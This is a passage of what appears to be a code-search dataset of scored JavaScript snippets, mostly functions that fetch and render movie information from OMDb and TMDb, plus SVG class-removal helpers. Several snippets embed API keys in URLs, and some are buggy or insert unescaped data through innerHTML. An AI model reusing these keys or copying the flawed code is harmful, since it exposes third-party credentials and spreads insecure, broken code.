\"</div>\";\r\n }\r\n markup += \"</td></tr></table>\"\r\n return markup;\r\n }", "title": "" }, { "docid": "98aecbd6a5df5cebafaf5d80af39efd3", "score": "0.6043892", "text": "function movieInfo () {\n // movie name input\n var movieName = process.argv.slice(3).join('+');\n // default movie input\n if (movieName == false) {\n movieName = \"mr.nobody\"\n };\n\n request(\"http://www.omdbapi.com/?t=\" + movieName + \"&y=&plot=short&apikey=trilogy\", function (error, response, body) {\n\n if (!error && response.statusCode === 200) {\n\n // Print movie info to terminal\n console.log(JSON.parse(body).Title);\n console.log(JSON.parse(body).Year);\n console.log(JSON.parse(body).imdbRating);\n console.log(JSON.parse(body).Ratings[1].Value);\n console.log(JSON.parse(body).Country);\n console.log(JSON.parse(body).Language);\n console.log(JSON.parse(body).Plot);\n console.log(JSON.parse(body).Actors);\n }\n });\n}", "title": "" }, { "docid": "fa68a17be30cd0beacb474637f09eb2b", "score": "0.60397524", "text": "function showMovieInfo(inputParameter) {\n if (inputParameter === undefined) {\n inputParameter = \"Mr Nobody\"\n console.log(\"-------------------\");\n console.log(\"If you haven't watched 'Mr. Nobody', then you should: http://www.imdb.com/title/tt0485947\");\n console.log(\"It's on Netflix\");\n }\n var queryURL = \"http://www.omdbapi.com/?i=tt3896198&apikey=9d11b2c1\"\n axios.get(queryURL)\n .then(function(response) {\n console.log(response.data.Title);\n results = response.data;\n var title = results.Title;\n var year = results.Year;\n ratingsArr = results.Ratings;\n var IMDB = ratingsArr;\n results.data.forEach(function(item) {\n return item.Source === \"Internet Movie Database\";\n })\n .map(function(item) {\n return item.Value.toString();\n });\n RT = RT.toString();\n country = results.Country;\n language = results.Language;\n plot = results.Plot;\n actors = results.Actors;\n var output = \"\\nTitle: \" + title + \"\\nYear: \" + year + \"\\nIMDB Rating: \" + IMDB + \"\\nRotten Tomatoes Rating: \" + RT + \"\\nCountry: \" + country + \"\\nLanguage: \" + language + \"\\nPlot: \" + plot + \"\\nActors: \" + actors;\n console.log(output);\n fs.appendFile(\"log.txt\", output, \"utf-8\", function(err) {\n if(err) {\n console.log(\"An error occurred\");\n }\n console.log(\"Movie recorded\");\n })\n })\n}", "title": "" }, { "docid": "bc4e3617ee7468700e0af82222754df7", "score": "0.6039119", "text": "function displayResult(videoSnippet) {\r\n \"use strict\";\r\n title = String(videoSnippet.title);\r\n description = String(videoSnippet.description);\r\n var videoId = videoSnippet.resourceId.videoId,\r\n videoURL = videoId,\r\n info = \"\";\r\n info = anchor + videoURL + '\">';\r\n info += image + videoURL + maxjpg + ' alt=\"' + title + '\" ';\r\n if(responsive){\r\n info += center;\r\n }else{\r\n info += left;\r\n }\r\n list[i] = info;\r\n videoList[i] = videoURL;\r\n i++;\r\n}", "title": "" }, { "docid": "cb0f8c1dab76f8919e1865376175127e", "score": "0.60325027", "text": "function displayMovieByType(data, typeSelect) {\n let htmlContent = ''\n data.forEach(function (element) {\n let movieStyleHtmlContent = ''\n for (let i = 0; i < element.genres.length; i++) {\n if (element.genres[i] === typeSelect) {\n //console.log(element)\n //將所有genres由數字轉換成對應的文字並儲存在html\n element.genres.forEach(function (index) {\n movieStyleHtmlContent += `<span class=\"badge badge-pill badge-light\">${movieType[index]}</span>`\n })\n htmlContent += ` \n <div class=\"col-sm-3\">\n <div class=\"card mb-2\">\n <img class=\"card-img-top \" src=\"${POSTER_URL}${element.image}\" alt=\"Card image cap\">\n <div class=\"card-body movie-item-body\">\n <p class=\"card-title\"><strong>${element.title}</strong></p>\n <p class=\"card-genres\">${movieStyleHtmlContent}</p>\n </div>\n </div>\n </div>`\n //Once the selected type is found in the movie genres, end the loop.\n break\n }\n }\n })\n moviePanel.innerHTML = htmlContent\n }", "title": "" }, { "docid": "8b2a887b9cdba64778b320fa6e8e035a", "score": "0.6031101", "text": "function renderMovies(movieArray) {//function taking one parameter i.e. movieArray\n var movieHTML = movieArray.map(function (currentMovie) {//1.writting a .map() loop on movieArray.\n //2.This function accepts one parameter called currentMovie. \n //3. Set movieHTML as the variable for the results of the .map()\n return `\n <div class=\"movie card col-2 mx-1 my-1\" >\n <div class=\"card-body\">\n\t\t\t\t<img class=\"card-img-top\" src=\"${currentMovie.Poster}\"/><!--movie posters go here-->\n\t\t\t\t<h5 class=\"movie-title card-title\"> ${currentMovie.Title}</h5> <!--movie title go here-->\n\t\t\t\t<p class=\"movie-release-date badge badge-secondary\">${currentMovie.Year}</p><!--movie release date go here-->\n <a href=\"#\" class=\"btn btn-primary\" onclick=\"saveToWatchList('${currentMovie.imdbID}')\">Add Movie</a><!--inline styling for calling savetoWatchList function with\n the paramters of template literal currentMovie.imdbID-->\n \n \n </div>\n\t\t\t</div>\n `\n\n }).join(\"\");//why did we do the join like this? We did not store values in an empty array\n return movieHTML;\n\n }", "title": "" }, { "docid": "eb914b409b81f96bf26761bcb8292bc7", "score": "0.60308874", "text": "function displayFilms(filmResults) {\n\n filmResults.forEach(film => {\n let filmNode = document.createElement(\"div\");\n filmNode.className = \"main__film\";\n filmNode.dataset.imdbid = `${film.imdbID}`;\n filmNode.innerHTML = `<img class='poster' src='${film.Poster}'/>\n <h3 class='title'>${film.Title}</h3>\n <h4 class='year'>(${film.Year})</h4>\n <p class='type'><b>type:</b> ${film.Type}</p>\n <i class=\"fav-button fas fa-heart\">`;\n outputNode.appendChild(filmNode);\n });\n let img = filmResults[0].Poster;\n setBackgroundImgForDesktop(img);\n}", "title": "" }, { "docid": "7c4b9ff38e18030dc30d1023f88b0f2b", "score": "0.6026224", "text": "displayListOfMovies(moviesList, str){\r\n\r\n let mainListContainer;\r\n if (str=='movies'){\r\n mainListContainer = document.querySelector('.main-content-movies');\r\n }\r\n else if(str=='tv'){\r\n mainListContainer = document.querySelector('.main-content-tvseries');\r\n }\r\n\r\n else {\r\n mainListContainer = document.querySelector('.main-list-container');\r\n }\r\n\r\n moviesList.forEach(movieItem=>{\r\n let pathName = window.location.pathname;\r\n let path = (pathName.includes('pages/'))? '':'pages/';\r\n \r\n let moviePoster = IMGPATH + movieItem.poster_path;\r\n let movieName = (movieItem.title!==undefined)? movieItem.title:movieItem.name;\r\n let type = (movieItem.title !== undefined) ? 'movie' : 'tv';\r\n let moviehRef = `${path}film/${movieName}/${movieItem.id}/${type}`;\r\n\r\n const div = document.createElement('div');\r\n div.classList.add('main-list-item');\r\n div.innerHTML = `\r\n <a href=\"${moviehRef}\">\r\n <img src=\"${moviePoster}\" alt=\"\">\r\n <h5>${movieName}</h5>\r\n </a>\r\n `;\r\n\r\n mainListContainer.appendChild(div);\r\n })\r\n\r\n\r\n }", "title": "" }, { "docid": "5ad7ef97426eabb515d545832ee04c3d", "score": "0.6024133", "text": "function showMovies(jsonObj) {\n const list = jsonObj; //makes sure javascript knows its json\n for (let i = 0; i < list.length; i++) {\n console.log(list[i]);\n const myArticle = document.createElement('article');\n const myH1 = document.createElement('h1'); //creates h1\n const myH2 = document.createElement('h2');\n const myPara1 = document.createElement('p');\n const myPara2 = document.createElement('p');\n const myPara3 = document.createElement('p');\n\n\n\n const myPara5 = document.createElement('p');\n const myImage = document.createElement('img');\n const myVideo = document.createElement('video');\n\n const myPara9 = document.createElement('p');\n const myList = document.createElement('ul');\n myH1.textContent = list[i].id; //gets id and stores in h1\n myH2.textContent = list[i].title;\n myPara1.textContent = 'plot: ' + list[i].plot;\n myPara2.textContent = 'simple plot: ' + list[i].simple_plot;\n myPara3.textContent = 'release date: ' + list[i].release_date;\n myImage.src = list[i].cover;\n myVideo.src = list[i].trailer;\n\n\n myPara5.textContent = 'trailer: ' + list[i].trailer;\n\n myPara9.textContent = 'actors:';\n //in here we need to go deeper in the json. this can only be created in a function. it will get all the list items that are inside the actors\n const actors = list[i].actors;\n for (let j = 0; j < actors.length; j++) {\n const listItem = document.createElement('li');\n listItem.textContent = actors[j].actor_name;\n myList.appendChild(listItem);\n }\n\n\n myArticle.appendChild(myH1); //append the h1 and makes it visible\n myArticle.appendChild(myH2);\n myArticle.appendChild(myPara1);\n myArticle.appendChild(myPara2);\n myArticle.appendChild(myPara3);\n\n myArticle.appendChild(myPara5);\n myArticle.appendChild(myImage);\n myArticle.appendChild(myVideo);\n\n myArticle.appendChild(myPara9);\n myArticle.appendChild(myList);\n section.appendChild(myArticle);\n }\n} // use a for loop to loop through each object in the array.", "title": "" }, { "docid": "8ac4a0305b1b178164fced51b235abd0", "score": "0.6020768", "text": "function getMovieDetails(){\n console.log($('a').data('imdbID'));\n $.ajax({\n method: 'GET',\n url: 'http://www.omdbapi.com/',\n dataType: 'json',\n data: {\n i: movieID,\n },\n success: function(data) {\n console.log(data);\n img = $('<img>').attr('src', data.Poster).attr('alt', data.Title);\n console.log(data.Poster);\n //poster, title, actors, director, country, genre, plot, rated, runtime, year, rating, votes\n $('#details-page').append(img);\n $('#details-page .title').text(data.Title);\n $('#details-page .director').text(data.Director);\n $('#details-page .actors').text(data.Actors);\n $('#details-page .country').text(data.Country);\n $('#details-page .genre').text(data.Genre);\n $('#details-page .plot').text(data.Plot);\n $('#details-page .rated').text(data.Rated);\n $('#details-page .runtime').text(data.Runtime);\n $('#details-page .year').text(data.Year);\n $('#details-page .rating').text(data.imdbRating);\n $('#details-page .votes').text(data.imdbVotes);\n }\n });\n}", "title": "" }, { "docid": "ab4d1340371b2dc57810f0f5b10cd599", "score": "0.6013504", "text": "function renderMovie(movie, avgRating) {\n id = movie._id;\n title = movie.title;\n year = movie.year;\n let director = movie.director;\n let genre = movie.genre;\n\n let movieTemplate =\n `<div class=\"movieSection\" data-id=\"${id}\">\n <h4>Movie information</h4>\n <div class=\"movieContent row\">\n <div class=\"movieData\">\n <p>Title: ${title}\n <p>Director: ${director}</p>\n <p>Year: ${year}</p>\n <p>Genre: ${genre}</p>\n </div>\n <div class=\"userMovieInfo\">\n <p>Average user rating: ${avgRating}</p>\n <div class=\"form-group\">\n <form action=\"/api/movies/${id}/reviews\" method=\"POST\" class=\"reviewForm\">\n <textArea name=\"reviewText\" class=\" form-control reviewText\" placeholder=\"Enter your review here\"></textArea>\n <input type=\"number\" name=\"rating\" class=\"form-control rating\" placeholder=\"Select a rating from 1-5\" min=\"1\" max=\"5\"/>\n <input type=\"hidden\" name=\"movie\" value=\"${id}\"/>\n <input type=\"submit\" name=\"reviewSubmit\" class=\"btn btn-primary reviewSubmit\" />\n </form>\n </div>\n </div>\n </div>`;\n\n $('.movieResult').empty().append(movieTemplate);\n }", "title": "" }, { "docid": "f04e237ef584bc8f087f2c1536731940", "score": "0.60107327", "text": "function fullDetails(par1, par2, par3) {\r\n\t$(par3 + ' ' + '.genre').empty();\r\n\t$(par3 + ' ' + '.genre').html('Genre: ');\r\n\t$(par3 + ' ' + '.company').empty();\r\n\t$(par3 + ' ' + '.company').html('Production: ');\r\n\t$(par3 + ' ' + '.country').empty();\r\n\t$(par3 + ' ' + '.country').html('Country: ');\r\n \t$.ajax({\r\n url: 'https://api.themoviedb.org/3/movie/'+par1+'?api_key=ece7966c119923d24c65ccb57a5da71c&language=en-US&page=1',\r\n async: true,\r\n cache: false,\r\n success: function (data) {\r\n\t \tvar results2Id \t\t= data;\r\n\t \tvar posterWide = data.backdrop_path;\r\n\t \tvar movieId \t\t= data.id;\r\n \t\tvar poster \t\t\t= data.poster_path;\r\n \t\tvar movieTitle \t \t= data.original_title;\r\n \t\tvar tagLine \t\t= data.tagline;\r\n \t\tvar ratingRaw\t\t= data.vote_average;\r\n \t\tvar rating \t\t\t= (ratingRaw * 10);\r\n \t\tvar overview = data.overview;\r\n \t\tvar overview2\t\t= overview.split('.', 2);\r\n \t\tvar production \t\t= data.production_companies[0].name;\r\n \t\tvar countryShort \t= data.production_countries[0].iso_3166_1;\r\n \t\tvar country \t\t= data.production_countries[0].name;\r\n \t\tvar language \t\t= data.spoken_languages[0].name;\r\n \t\tvar releaseFull\t \t= data.release_date;\r\n \t\tvar releaseDate \t= releaseFull.slice(0, 4);\r\n\r\n for(var i = 0; i < data.genres.length; i++) {\r\n\t\t\tvar genres = data.genres[i].name;\r\n\t\t\t$(par3 + ' ' + '.genre').append(genres + ', ');\r\n }\t\r\n \r\n \tpar2.parent().parent().parent().parent().parent().children().children('.side-overlay2').css({'background-image': 'url(https://image.tmdb.org/t/p/original/'+posterWide+')'});\r\n \t$(par3 + ' ' + '.trailer-header .title').html(movieTitle + ' ' + '(' +countryShort + ')');\r\n \t$(par3 + ' ' + '.tagline').html(tagLine);\r\n \t$(par3 + ' ' + '.rating-percent').html(rating + '%');\r\n \t$(par3 + ' ' + '.release-date').html(releaseDate);\r\n \t$(par3 + ' ' + '.released').html(countryShort);\r\n \t$(par3 + ' ' + '.language').html(language);\r\n \t$(par3 + ' ' + '.synopsis').html(overview2);\r\n $(par3 + ' ' + '.company').append(production)\r\n $(par3 + ' ' + '.country').append(country)\r\n $(par3 + ' ' + '.play-trailer').attr('movieid',movieId)\r\n\r\n \t//Rating Color Based off Percentage\r\n\t\tif(rating > 80) {\r\n\t\t\t$(par3 + ' ' + '.rating-percent').css({'color': 'green'});\r\n\t\t}\r\n\t\telse if (rating < 80 && rating > 70) {\r\n\t\t\t$(par3 + ' ' + '.rating-percent').css({'color': 'yellow'});\r\n\t\t}\r\n\t\telse {\r\n\t\t\t$(par3 + ' ' + '.rating-percent').css({'color': 'red'});\r\n\t\t}\r\n \t\t\r\n \t\t\r\n \t}\r\n });\r\n}", "title": "" }, { "docid": "6136950ed6e5d3ea18aa14952187a9f5", "score": "0.60083", "text": "function moreInfo(url){\n console.log(url); \n var json = getJSON(url); \n var parsed = JSON.parse(json);\n\n if(parsed.opening_crawl) { \n html.innerHTML = '<h3 style=\"color:#FFE81F; margin-bottom:0;\">Episode '+parsed.episode_id+'</h3><h2 style=\"color:#FFE81F; margin-top:0;\">' + parsed.title + '</h2><p style=\"color:#FFE81F; margin:10px 200px; font-size:130%; padding-bottom:30px;\">' + parsed.opening_crawl + '</p>'; } \n \n if(parsed.height) {\n alert(parsed.name);\n }\n\n if(parsed.hyperdrive_rating) {\n html.innerHTML = '<h2 style=\"color:#FFE81F;\">' + parsed.name + '</h2> <p>hyperdrive rating: ' + parsed.hyperdrive_rating + '</p>';\n }\n\n if(parsed.designation) {\n alert('Race: ' + parsed.name + '\\nClassification: ' + parsed.classification + '\\nDesignation: ' + parsed.designation);\n }\n\n }", "title": "" }, { "docid": "a46462239bdd86a9c99fd34bd148ff62", "score": "0.60052115", "text": "function displayMovie() {\n\n // Request the movie data from OMDB API\n let queryUrl = `http://www.omdbapi.com/?t=${movieName}&apikey=${movieKey}&`\n request({\n url: queryUrl,\n json: true\n }, function (err, res, body) {\n let movieResults = '';\n console.log(CRLF);\n try {\n\n // Display movie results in the terminal\n if (!err && res.statusCode === 200) {\n movieResults += \"Title: \" + body.Title + CRLF;\n movieResults += \"Year: \" + body.Year + CRLF;\n movieResults += \"IMDB Raing: \" + body.imdbRating + CRLF;\n\n let arr = body.Ratings;\n let rottenTomatoesRating;\n\n // Find the value of the movie rating for the entry in the array \n // having a source key equal to 'Rotten Tomatoes'\n for (let i = 0; i < arr.length; i++) {\n if (arr[i].Source === \"Rotten Tomatoes\") {\n rottenTomatoesRating = arr[i].Value;\n break;\n }\n };\n movieResults += \"Rotten Tomatoes rating: \" + rottenTomatoesRating + CRLF;\n movieResults += \"Country: \" + body.Country + CRLF;\n movieResults += \"Language: \" + body.Language + CRLF;\n movieResults += \"Plot: \" + body.Plot + CRLF;\n movieResults += \"Actors: \" + body.Actors + CRLF;\n movieResults += CRLF;\n console.log(movieResults);\n }\n else {\n console.log(err);\n }\n } catch (e) {\n console.log(`An error occured while attempting to retrieve movie results for ${movieName}. \n Please check your spelling of the movie name`);\n };\n });\n}", "title": "" }, { "docid": "a8194b8291518870fbab1db87c303b0e", "score": "0.60043424", "text": "function displayMovie(title){\n if(title === null){\n return null;\n }\n return searchMovie(title);\n}", "title": "" }, { "docid": "9dbfa2e22baf7a4c35dbe51429661885", "score": "0.59980786", "text": "function showMovie(cli) {\n const url =\n \"https://api.themoviedb.org/3/movie/\" +\n cli.id +\n \"?api_key=\" +\n process.env.API_KEY;\n const options = new URL(url);\n\n https\n .request(options, (req) => {\n let data = \"\";\n req.on(\"data\", (d) => {\n data += d;\n });\n req.on(\"error\", (err) => {\n spinner.fail(err);\n });\n req.on(\"end\", () => {\n const dataObj = JSON.parse(data);\n if (dataObj.errors !== undefined) {\n dataObj.errors.forEach(error => {\n spinner.warn(error + \"\\n\");\n })\n } else if (dataObj.success !== undefined) {\n spinner.warn(dataObj.status_message + \"\\n\");\n } else {\n if (program.save) {\n require('../utils/save.js').saveFile(spinner, data, 'movie')\n } else {\n if (dataObj.success == false) {\n spinner.warn(dataObj.status_message);\n } else {\n // Print request data\n const prints = require(\"../utils/prints\");\n prints.printMovie(spinner, dataObj);\n }\n }\n }\n });\n })\n .end();\n }", "title": "" }, { "docid": "a267629c2946ac2ba4dfeeaa7ebd7e5f", "score": "0.5979938", "text": "function updateSearchInfo() {\n var results = [].slice.call(movies).filter(isItDisplayed),\n genreSelection = fourCategories.genre.chosenArr,\n directorSelection = fourCategories.director.chosenArr,\n countrySelection = fourCategories.country.chosenArr,\n yearSelection = fourCategories.year.chosenArr,\n genreResults = genreSelection.length ? genreSelection.map(function(value) {\n return value.toLowerCase();\n }).sort().join(\"-\") + \" \" : \"\",\n directorResults = directorSelection.length ? \" by \" + commaAnd(directorSelection) : \"\",\n countryResults = countrySelection.length ? \" from \" + countrySelection.sort().join(\"/\") : \"\",\n yearResults = yearSelection.length ? \" made in \" + commaAnd(yearSelection) : \"\",\n searchInfo = document.getElementById(\"search-info\");\n\n searchInfo.innerHTML = \"Showing \" +\n results.length + \" \" +\n genreResults +\n (results.length === 1 ? \"film \" : \"films \") +\n directorResults +\n countryResults +\n yearResults;\n}", "title": "" }, { "docid": "00f6c4e232f9c0a675fea0f830172616", "score": "0.595458", "text": "function searchMovie() {\n document.getElementById(\"movies\").innerHTML = \"\";\n\n const movieTitle = document.getElementById(\"movie-search\").value;\n\n // http://www.omdbapi.com/?t=Avengers\n\n // send a request ot the Movie API -- async - not at the same time\n\n const response = fetch(\n `http://www.omdbapi.com/?t=${movieTitle}&apikey=24885019`\n ) // returns a Promise object\n .then((res) => res.json()) // returns a Promise object\n .then((data) => {\n // display the movie\n const movieDiv = document.createElement(\"div\");\n console.log(data);\n movieDiv.innerHTML = `\n <ul>\n <li><b>Title:</b> <span>${data.Title}</span></li>\n <li><b>Released:</b> <span> ${data.Released}</li>\n <li><b>Rated:</b> <span>${data.Rated}</li>\n <li><b>Runtime:</b> <span>${data.Runtime}</li>\n <li><b>Genre:</b> <span>${data.Genre}</li>\n <li><b>Directors:</b> <span>${data.Directors}</li>\n <li><b>Language:</b> <span>${data.Language}</li>\n <li><b>Country:</b> <span>${data.Country}</li>\n <li><b>Ratings:</><span>${data.imdbRating}</li>\n </ul>\n\n `;\n\n document.getElementById(\"movies\").appendChild(movieDiv);\n });\n\n // TODO: When a new search happens --> clean up- Done\n // Complete the movie display -Done\n // Add css to make it more beautiful- In progress!!\n\n // Fetch API\n // Promise --> it will return somehing in the future\n // Promise().then()\n // Await / Async\n}", "title": "" }, { "docid": "0adaee897b03de2aef4b54ad73cc68db", "score": "0.5954235", "text": "function showMovieDetailsModal(imdbID) {\n getMovieDetails(imdbID)\n .then(movieData => {\n var detailsContent = document.getElementById(\"movieDetails\")\n detailsContent.innerHTML = ''\n detailsContent.appendChild(renderMovieDetails(movieData))\n document.getElementById(\"detailsModal\")\n .setAttribute(\"class\", \"modal is-active\")\n })\n}", "title": "" }, { "docid": "b00ce4c89d1b57d4343022d0836bedc7", "score": "0.5950513", "text": "function displayMovies(moviesContent){\n \n var movieListEl = '';\n for (var i=0; i<moviesContent.results.length; i++){\n \n var index = i+1;\n var movieEntry = '';\n if (index === 1) {\n movieEntry+= '<div class=\"row\">';\n }\n var movieContent = displayElements(moviesContent.results[i]);\n movieEntry += movieContent;\n if (index%4 === 0 && index !== 1 && index !== moviesContent.results.length) {\n movieEntry += '</div>';\n movieEntry+= '<div class=\"row\">';\n }\n if (index === moviesContent.results.length) {\n movieEntry += '</div>';\n }\n movieListEl += movieEntry;\n }\n container.innerHTML += movieListEl;\n}", "title": "" }, { "docid": "fa32b5f8d612efa6ec2e5308f802d4b6", "score": "0.5948721", "text": "function getMovieInfo(title, type, year) {\n $.get(\"http://www.omdbapi.com/\", {\n t: title,\n type: type,\n y: year,\n plot: \"full\",\n r: \"json\"}).done(function(response) {\n displaySearchMovies(response);\n }).fail(function(response) {\n console.log(\"Failed\");\n }); // AJAX finished\n } // getMovieInfo", "title": "" }, { "docid": "5e99565a061bb6d2a6380c68a736b335", "score": "0.5941893", "text": "function onMovieUpdated() {\n\t\teditor.getMovieCreator().movieUpdated();\n\t\tshowActionLinks();\n\t}", "title": "" }, { "docid": "9fff52e25775b5003a7bc7053626935b", "score": "0.59386927", "text": "function writeMovieToDOM(movie) {\n $('.title').text(movie.Title);\n $('img').attr('src', movie.Poster);\n $('.year').text(movie.Year);\n $('.rated').text(movie.Rated);\n $('.released').text(movie.Released);\n $('.runtime').text(movie.Runtime);\n $('.genre').text(movie.Genre);\n $('.director').text(movie.Director);\n $('.writer').text(movie.Writer);\n $('.actors').text(movie.Actors);\n $('.plot').text(movie.Plot);\n $('.language').text(movie.Language);\n}", "title": "" }, { "docid": "e03e7beca75b2b2488782e884c8ef996", "score": "0.59274316", "text": "async function onPageLoad() {\n const res = await axios.get(`https://api.tvmaze.com/search/shows?q=boy`);\n\n onloadContainer.innerHTML = \"\";\n res.data.forEach((show) => {\n const data = show.show;\n\n const genres = data.genres;\n const showImage = data.image.medium;\n const showName = data.name;\n const showSummary = data.summary;\n const rating = data.rating.average;\n\n onloadContainer.innerHTML += `\n <div class=\"movie\">\n <div>\n <img src=\"${showImage}\" alt=\"\" />\n <h3 class=\"movie-name uk-text-bold\">${showName}</h3>\n <p class=\"${ratingClass(rating)}\">Rating: <span>${setRating(\n rating\n )} </span></p>\n <p>Genres: ${genres}</p>\n </div>\n\n <div class=\"overlay\">\n <p>\n ${showSummary}\n </p>\n </div>\n </div>\n `;\n });\n}", "title": "" } ]
6d3fc214765c2bec6e669629bdc538cb
Remove class with compatibility for SVG since classList is not supported on SVG elements in IE
[ { "docid": "6918b5de7ecf6dde33c2c705a71e229e", "score": "0.0", "text": "function removeClass(el, cls) {\n /* istanbul ignore if */\n if (!cls || !(cls = cls.trim())) {\n return;\n }\n\n /* istanbul ignore else */\n if (el.classList) {\n if (cls.indexOf(' ') > -1) {\n cls.split(/\\s+/).forEach(function (c) {\n return el.classList.remove(c);\n });\n } else {\n el.classList.remove(cls);\n }\n if (!el.classList.length) {\n el.removeAttribute('class');\n }\n } else {\n var cur = \" \" + (el.getAttribute('class') || '') + \" \";\n var tar = ' ' + cls + ' ';\n while (cur.indexOf(tar) >= 0) {\n cur = cur.replace(tar, ' ');\n }\n cur = cur.trim();\n if (cur) {\n el.setAttribute('class', cur);\n } else {\n el.removeAttribute('class');\n }\n }\n }", "title": "" } ]
[ { "docid": "aa2a14311dde43efc8b1a77404d4546d", "score": "0.79237396", "text": "removeSvgClass(element, className) {\n const elementClassName = element.getAttribute('class') || '';\n if (elementClassName.indexOf(className) > -1) {\n element.setAttribute('class', elementClassName.replace(className, ''));\n }\n }", "title": "" }, { "docid": "8dae4093ab8638edeba6c120558c2715", "score": "0.6735789", "text": "removeClass(className) {\n const classList = this.attr(\"class\").split(\" \");\n const newClassList = [];\n classList.forEach(oldClass => {\n if (oldClass !== className) { newClassList.push(oldClass); }\n });\n this.attr(\"class\", newClassList.join(' '));\n }", "title": "" }, { "docid": "5104ba3a4ef5306cd241b097a4bba44e", "score": "0.6646913", "text": "function removeClass(element) {\n element.removeAttribute('class');\n}", "title": "" }, { "docid": "97dbcc3f8afb689e1e4be39bf3a1d53f", "score": "0.654914", "text": "addSvgClass(element, className) {\n let elementClassName = element.getAttribute('class') || '';\n elementClassName += ((elementClassName !== '') ? ' ' : '');\n if (elementClassName.indexOf(className) === -1) {\n element.setAttribute('class', elementClassName + className);\n }\n }", "title": "" }, { "docid": "e8765bec625bcc53457748ba7dd521ee", "score": "0.650768", "text": "removeHighlightClasses() {\n this.node.classList.remove(CLASS_DRIVER_HIGHLIGHTED_ELEMENT);\n this.node.classList.remove(CLASS_POSITION_RELATIVE);\n\n const stackFixes = this.document.querySelectorAll(\n `.${CLASS_FIX_STACKING_CONTEXT}`\n );\n for (let counter = 0; counter < stackFixes.length; counter++) {\n stackFixes[counter].classList.remove(CLASS_FIX_STACKING_CONTEXT);\n }\n }", "title": "" }, { "docid": "4a447c2247033240ac1bab30c5ffe682", "score": "0.64707756", "text": "function removeClass(el,cls){/* istanbul ignore else */if(el.classList){if(cls.indexOf(' ')>-1){cls.split(/\\s+/).forEach(function(c){return el.classList.remove(c);});}else{el.classList.remove(cls);}}else{var cur=' '+el.getAttribute('class')+' ';var tar=' '+cls+' ';while(cur.indexOf(tar)>=0){cur=cur.replace(tar,' ');}el.setAttribute('class',cur.trim());}}", "title": "" }, { "docid": "2e0039c0e668e31703dabb814398683f", "score": "0.6448467", "text": "_clearAnimationClasses() {\n this._hostElement.classList.remove(cssClasses.OPENING);\n this._hostElement.classList.remove(cssClasses.CLOSING);\n }", "title": "" }, { "docid": "539110813bffc8707ffacd969c7de6b3", "score": "0.6399064", "text": "function patchClass(el, value, isSVG) {\n // directly setting className should be faster than setAttribute in theory\n // if this is an element during a transition, take the temporary transition\n // classes into account.\n const transitionClasses = el._vtc;\n if (transitionClasses) {\n value = (value ? [value, ...transitionClasses] : [...transitionClasses]).join(' ');\n }\n if (value == null) {\n el.removeAttribute('class');\n }\n else if (isSVG) {\n el.setAttribute('class', value);\n }\n else {\n el.className = value;\n }\n}", "title": "" }, { "docid": "03a8263473141fde013825cad2c6ccb4", "score": "0.63785243", "text": "function patchClass(el, value, isSVG) {\n if (value == null) {\n value = \"\";\n }\n if (isSVG) {\n el.setAttribute(\"class\", value);\n } else {\n // directly setting className should be faster than setAttribute in theory\n // if this is an element during a transition, take the temporary transition\n // classes into account.\n const transitionClasses = el._vtc;\n if (transitionClasses) {\n value = (value ? [value, ...transitionClasses] : [...transitionClasses]).join(\" \");\n }\n el.className = value;\n }\n }", "title": "" }, { "docid": "547be2416b94de8fd0d653e08678858f", "score": "0.6369355", "text": "function elementRemoveClass(el,cl){if(el.className)el.className=el.className.replace(new RegExp('\\\\s*\\\\b'+cl+'\\\\b\\\\s*'),' ').replace(/^\\s*/,'').replace(/\\s*$/,'');}", "title": "" }, { "docid": "56305650a41d04a4738c9619a5c3c6db", "score": "0.636014", "text": "function w3RemoveClass(element, name) {\r\n var i, arr1, arr2;\r\n arr1 = element.className.split(\" \");\r\n arr2 = name.split(\" \");\r\n for (i = 0; i < arr2.length; i++) {\r\n while (arr1.indexOf(arr2[i]) > -1) {\r\n arr1.splice(arr1.indexOf(arr2[i]), 1);\r\n }\r\n }\r\n element.className = arr1.join(\" \");\r\n }", "title": "" }, { "docid": "c0597d9aef52ea2b396846a2c4bfa75b", "score": "0.63600606", "text": "function removeOpenClasses(element) {\n element.classList.remove(\"open\");\n element.classList.remove(\"show\");\n element.classList.remove(\"clicked\");\n}", "title": "" }, { "docid": "439d4a395e89418226d3ce5e7bb909d3", "score": "0.6355343", "text": "function patchClass(el, value, isSVG) {\n if (value == null) {\n value = '';\n }\n if (isSVG) {\n el.setAttribute('class', value);\n }\n else {\n // directly setting className should be faster than setAttribute in theory\n // if this is an element during a transition, take the temporary transition\n // classes into account.\n const transitionClasses = el._vtc;\n if (transitionClasses) {\n value = (value\n ? [value, ...transitionClasses]\n : [...transitionClasses]).join(' ');\n }\n el.className = value;\n }\n}", "title": "" }, { "docid": "439d4a395e89418226d3ce5e7bb909d3", "score": "0.6355343", "text": "function patchClass(el, value, isSVG) {\n if (value == null) {\n value = '';\n }\n if (isSVG) {\n el.setAttribute('class', value);\n }\n else {\n // directly setting className should be faster than setAttribute in theory\n // if this is an element during a transition, take the temporary transition\n // classes into account.\n const transitionClasses = el._vtc;\n if (transitionClasses) {\n value = (value\n ? [value, ...transitionClasses]\n : [...transitionClasses]).join(' ');\n }\n el.className = value;\n }\n}", "title": "" }, { "docid": "439d4a395e89418226d3ce5e7bb909d3", "score": "0.6355343", "text": "function patchClass(el, value, isSVG) {\n if (value == null) {\n value = '';\n }\n if (isSVG) {\n el.setAttribute('class', value);\n }\n else {\n // directly setting className should be faster than setAttribute in theory\n // if this is an element during a transition, take the temporary transition\n // classes into account.\n const transitionClasses = el._vtc;\n if (transitionClasses) {\n value = (value\n ? [value, ...transitionClasses]\n : [...transitionClasses]).join(' ');\n }\n el.className = value;\n }\n}", "title": "" }, { "docid": "439d4a395e89418226d3ce5e7bb909d3", "score": "0.6355343", "text": "function patchClass(el, value, isSVG) {\n if (value == null) {\n value = '';\n }\n if (isSVG) {\n el.setAttribute('class', value);\n }\n else {\n // directly setting className should be faster than setAttribute in theory\n // if this is an element during a transition, take the temporary transition\n // classes into account.\n const transitionClasses = el._vtc;\n if (transitionClasses) {\n value = (value\n ? [value, ...transitionClasses]\n : [...transitionClasses]).join(' ');\n }\n el.className = value;\n }\n}", "title": "" }, { "docid": "92c9c535cc67cf54851cba35ce8c8c1f", "score": "0.63548255", "text": "function modifySvgImage(className) {\n var className = className||'svg';\n\n var svgs = document.querySelectorAll('img[src*=\".svg\"]'), i;\n var replaceExtension = ((typeof Modernizr !== 'undefined') && !Modernizr.svg);\n\n if (svgs.length === 0 || (false === isIE() && false === replaceExtension)) {\n // break, if no svg image found\n return;\n }\n\n for (i = 0; i < svgs.length; ++i) {\n if (isIE()) {\n svgs[i].className += ' ' + className;\n }\n if 